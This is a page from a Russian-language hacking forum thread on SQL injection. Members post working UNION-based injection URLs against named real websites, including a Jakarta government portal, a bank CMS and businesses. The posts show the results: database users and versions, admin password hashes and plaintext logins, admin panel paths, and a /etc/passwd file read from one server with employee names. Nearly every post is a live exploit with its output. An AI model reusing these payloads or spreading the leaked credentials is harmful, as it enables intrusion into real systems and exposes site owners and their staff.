SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 408 of 798
  1. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank= 4

    Version:4.1.14
    Database:casavernescu
    User:casa@localhost



    PageRank= 4

    Version:5.0.67-log
    User:[email protected]
    Database:www_ccri_ro


    PageRank = 5


    Version:5.0.22
    User:cmsunicredit@localhost
    Database:CMS_main



    Database Version: 5.0.27-standard-log
    Database name: cbc
    User name: root@localhost

    Читаем etc/passwd


    PageRank = 5


    Version:4.1.14-standard-log
    Database:esn_ro_site
    User:content@localhost
     
    #8141 spherics, 7 Mar 2009
    Last edited: 7 Mar 2009
  2. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    190 Cy
    5.0.45
    5.0.67
    admin:ff963b90eac6219f9d7848a0902d87c7
    _http://database.gsdog.ru/dog.php?screen=1&id=-33+UNION+SELECT+concat(name,0x3a,password),2,3,4,5,6+from+users
    admin:natanb
     
    #8142 b3, 7 Mar 2009
    Last edited by a moderator: 7 Mar 2009
    1 person likes this.
  3. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Version:4.0.24-Max-log
    User:balcescuint@localhost
    Database:balcescuint


    PageRank = 4


    Version:5.0.67-community
    User:umbrela@localhost
    Database:umbrela_umbrela
     
    #8143 spherics, 7 Mar 2009
  4. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.xservice.ru/index.php?act=&full=-1+union+select+1,2,3,4,5,concat_ws(0x3a,versio n(),database(),user()),7,8,9,10--&start=0
    Database Version : 5.0.67-log
    Database name : u20839
    User name : [email protected]

    -----------------------------------------------------+

    Code:
    http://www.extreme-centre.com/texts.php?idst=-1+union+select+concat _ws(0x3a,versi on(),database(),user()),2--
    Database Version : 5.0.51a-log
    Database name : expert_extreme
    User name : [email protected]

    -----------------------------------------------------+

    Code:
    http://www.extremstyle.ua/news/index.php?SID=3&newsId=-15064+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,v ersion(),database(),user()),13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29,30,31,32,33--

    Database Version : 5.0.75
    Database name : sitemanager5
    User name : massive@localhost
     
    #8144 f1ng3r, 7 Mar 2009
  5. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 6


    Version:4.1.15-Debian_0.dotdeb.4
    User:mivan_new
    Database:apachewrite@localhost



    *AAC09BE938D859D93D26F7E7C4844A15880B8E8B : root
    *B6FE003F99A7E953A539F94EF9EFE137F9F086EC : debian-sys-maint
    *2D01933AFA9BC6191222D409BE06E8D8DF23F70E : tibus
    *E90330B50A5ACA6DC2098465963448E500F4CED0 : mivanadmin
    *8831151B2C3F5101E9E1FC4AC969C77D72D734E0 : apachewrite
    35b08e8d332766ad : apachewrite:




    Version:5.0.58
    User:balint@localhost
    Database:boroinfo_guest



    Version:5.0.67-community-log
    User:trans@localhost
    Database:trans_transport
     
    #8145 spherics, 7 Mar 2009
  6. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://it-daily.ru
    PR: 6
    Тиц: 650
    Версия: 4.0.27-log
    База данных: it-daily
    Юзверь: it-daily@localhost
    Code:
    http://it-daily.ru/AlgoNetGetNews.action.php?ID=1%20union%20select%201,2,version()--
     
    #8146 Assembler, 7 Mar 2009
  7. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.lisa-lane.com

    Code:
    http://www.lisa-lane.com/news.php?ax=v&n=6&id=6&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

    Version: 4.1.22-standard
    User: lisalane_user@localhost
    Database: lisalane_cms

    -----------------------------------------------------------

    www.pcilending.com

    Code:
    http://www.pcilending.com/news.php?ax=v&n=9&id=9&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
    Version: 4.1.22-standard-log
    User: pcilendi_admin@localhost
    Database: pcilendi_cms
     
    #8147 S0ulVortex, 8 Mar 2009
    1 person likes this.
  8. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Code:
    http://timur.jakarta.go.id/v4/?mod=node&s=static&id=-238+union+select+1,2,3,group_concat(users_name,0x3a,users_password),5,6,7,8,9,10,11,12,13+from+gs_users--
    admin: e41b1098902db436e121f9800b9d62ac

    webmaster :b4df7d053c98bd34e8a5dd1a0495f8b7


    Admin panel:
    Code:
    administrator/
bapeko/administrator/
yankes/administrator/
perpumda/administrator/
abangnone/administrator/
pariwisata/administrator/
indag/administrator/
pkk/administrator/
kpti/administrator/
kukm/administrator/
jatinegara/administrator/
jatinegara/template/
    URL:
    Code:
    http://timur.jakarta.go.id
http://bapeko.timur.jakarta.go.id
    PS:
     
    #8148 erihtoney, 8 Mar 2009
    Last edited: 8 Mar 2009
  9. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.boulangerietimmerman.fr/fr/news/news_view.php?id=-1+union+all+select+0,1,concat_ws(0x3a,version(),user(),database()),3,4,5,6--
    юзер/версия/бд:
    Code:
    5.0.70:timmermanUsr@localhost:timmermanDB
     
    #8149 -m0rgan-, 8 Mar 2009
  10. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    _http://sexicq.ru/topic.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7--
    version():5.1.22-rc-community
    user():sexic@localhost
    database():sexic


    _http://www.sexbox.ru/index.php?mod=shop&op=view&id=9999999+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23--
    version():4.1.20-lk-log
    user():sexbru_sbx@localhost
    database():sexbru_sbx

    _http://spravka.properm.ru/company.php?id=-75829+union+select+version(),USER(),version(),vers ion(),version(),version(),version(),version(),vers ion(),version()--
    version():5.0.32-Debian_7etch8-log
    user():properm@localhost
    database():spravka

    _http://kirovka.ru/info/pages.php?city=351&show=firm&id=-1497+union+select+concat_ws(0x3a,version(),user(), database())--
    5.0.32-Debian_7etch5-log:kctW+j&.[;AU0g/d@localhost:info

    _http://www.search-goods.ru/site/?action=show&id=-1344+union+select+concat_ws(0x3a,version(),user(), database()),2--
    version():5.0.67-percona-highperf-b7-log
    USER():settarget@localhost
    basedata():settarget_settarget

    _http://www.ucm.es/info/uin/noticias_detalles.php?id=1+and+substring(@@version ,1,1)=5--&User_Session=6acbfc84e5af7664dd896559c389334b
     
    #8150 S00pY, 8 Mar 2009
    Last edited: 8 Mar 2009
    2 people like this.
  11. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.mada-tourisme-durable.org/en/theme.php?id=-1+union+all+select+0,1,2,concat_ws(0x3a,version(),user(),database()),4,5--
    юзер/версия/бд:
    Code:
    5.0.68-log:[email protected]:entreprigo2mef
     
    #8151 -m0rgan-, 8 Mar 2009
    2 people like this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.dermis.ru/main.phtml?did=-999999999'+union+select+1,2/*
    user():database():version()
    dermis@localhost:dermis:4.1.11
    Вывод в <title>. Юзаем конверт либо хекс(анхекс())
     
    #8152 mailbrush, 8 Mar 2009
  13. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.aomo.ru/blank.php?id=-1836%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,concat_ws(0x3a,login,passwd),50%20from%20user_c%20limit%201,1--

    5.0.23
     
    #8153 Assembler, 8 Mar 2009
    1 person likes this.
  14. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.colasbelgium.be/colas/NL/GrDRHBeroep2.php?IDM=-1+union+all+select+0,1,2,3,concat_ws(0x3a,version(),user(),database()),5,6--
    юзер/версия/бд:

    Code:
    4.1.21-standard-log:fxmuncbb_colasb@localhost:fxmuncbb_colas
     
    #8154 -m0rgan-, 8 Mar 2009
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.jobbank.ro/jobseekers/job_view.php?job_id=-7548+union+select+1,2,version(),database(),user(),6,7,8,9,10,11,12,13,14


    Database Version: 5.0.67-community
    Database name: jobbank_jobbank
    User name: jobbank_jobbank@localhost
     
    #8155 Gorev, 8 Mar 2009
    1 person likes this.
  16. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.campingduinoord.nl/havenloods/index.php?num=-1+union+all+select+0,1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7--
    юзер/версия/бд:

    Code:
    5.0.67-community:campingd_@localhost:campingd_havenloods
     
    #8156 -m0rgan-, 8 Mar 2009
    1 person likes this.
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ior.ro/produse/index.php?kCtg=8&ID=-13+union+select+1,2,3,4,convert(concat_ws(0x3a,version(),database(),user())+using+latin1),6,7,8,9,10/*



    Database Version: 4.1.11-Debian_4sarge7-log
    Database name: dbior
    User name: ior@localhost
     
    #8157 Gorev, 8 Mar 2009
    4 people like this.
  18. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    diabetes.ee

    Code:
    http://www.diabetes.ee/seltsid/jogeva/?lk=-29145+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables--
    5.0.67
    таблица админов - tabSeltsiAdmin
    PR: 5
     
    _________________________
    #8158 yarbabin, 8 Mar 2009
    2 people like this.
  19. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.personal-s.ru/news/?action=news&do=view&object_id=-1+union+select+concat_ ws(0x3a,version (),database(),user()),2,3--
    Database Version : 5.0.67
    Database name : personal-s
    User name : root@localhost

    читаем /etc/passwd:

    Code:
    # $FreeBSD: src/etc/master.passwd,v 1.40
 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie
 &:/root:/bin/csh toor:*:0:0:Bourne-again
 Superuser:/root: daemon:*:1:1:Owner of many system
 processes:/root:/usr/sbin/nologin operator:*:2:5:System
 &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and 
Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:
/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:
/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr
/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:
/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share
/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell 
Daemon:/var/empty:/usr/sbin/nologin
 smmsp:*:25:25:Sendmail Submission User:/var/spool
/clientmqueue:/usr/sbin/nologin 
mailnull:*:26:26:Sendmail Default User:/var/spool
/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:
/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-
user:/nonexistent:/usr/sbin/nologin 
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin
/nologin _dhcp:*:65:65:dhcp programs:/var/empty:
/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var
/spool/uucppublic:/usr/local/libexec/uucp/uucico 
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin
/nologin www:*:80:80:World Wide Web 
Owner:/nonexistent:/usr/sbin/nologin 
nobody:*:65534:65534:Unprivileged user:/nonexistent:
/usr/sbin/nologin techsupport:*:100:100:Technical 
support group:/home/techsupport:/bin/sh 
squid:*:1001:1001:Squid proxy-caching web server's 
user:/nonexistent:/sbin/nologin clamav:*:106:106:Clam
 Antivirus:/nonexistent:/sbin/nologin
 spamd:*:58:58:SpamAssassin user:/var/spool/spamd:
/sbin/nologin v_kalinnikova:*:100:102:Email user:/home
/v_kalinnikova:/sbin/nologin office:*:101:102:Email 
user:/home/office:/sbin/nologin 
i_androsova:*:102:102:Email user:/home/i_androsova:
/sbin/nologin n_blagodatskaya:*:103:102:Email
 user:/home/n_blagodatskaya:/sbin/nologin 
i_gorlova:*:104:102:Email user:/home/i_gorlova:
/sbin/nologin p_reberka:*:105:102:Email user:/home
/p_reberka:/sbin/nologin 
y_mitrophanova:*:106:102:Email user:/home
/y_mitrophanova:/sbin/nologin bnv:*:107:102:Email
 user:/home/bnv:/sbin/nologin rpv:*:108:102:Email 
user:/home/rpv:/sbin/nologin 
k_tishenina:*:109:102:Email user:/home/k_tishenina:
/sbin/nologin oas:*:110:102:Email user:/home/hpa:/sbin
/nologin mysql:*:88:88:MySQL Daemon:/nonexistent:
/sbin/nologin backup:*:111:101:BackUp user:/var/Samba
/BackUp:/sbin/nologin a_markova:*:112:102:Email 
user:/home/a_markova:/sbin/nologin 
a_morokova:*:113:102:Email user:/home/a_morokova:
/sbin/nologin kmv:*:114:102:Email user:/home/omv:/sbin
/nologin ask:*:115:102:Email user:/home/ask:/sbin
/nologin bilenko:*:116:102:Email user:/home/ask:/sbin
/nologin e_kruglova:*:117:102:Email user:/home
/e_kruglova:/sbin/nologin gmp:*:118:102:Email 
user:/home/gmp:/sbin/nologin mea:*:118:102:Email 
user:/home/mea:/sbin/nologin konkurs:*:118:102:Email 
user:/home/konkurs:/sbin/nologin 
mailrobot:*:119:102:Email user:/home/mailrobot:
/sbin/nologin
    оййй на чтой-то мы тут наткнулись :rolleyes: :

    Code:
    http://www.personal-s.ru/news/?action=news&do=view&object_id=-1+union+select+LOAD_ FILE(0x2f686f6d652f74656368737570706f72742f2e6874706173737764), 2,3--
    Code:
    admin:NriRkf2e6iPFA
     
    #8159 f1ng3r, 8 Mar 2009
    1 person likes this.
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25

    Database Version: 4.1.22
    Database name: ifin-hh
    User name: admusr@localhost



    root : 556eba5e26cdd0e1



    Version:4.1.22-standard-log
    User:bluetech@localhost
    Database:bluetech_prod


    Version:5.0.67-community
    User:bravo@localhost
    Database:bravo



    Version:5.0.67-community
    User:imobilen_imnoi@localhost
    Database:imobilen_imnoi
     
    #8160 spherics, 8 Mar 2009
(You must log in or sign up to post here.)
Page 408 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.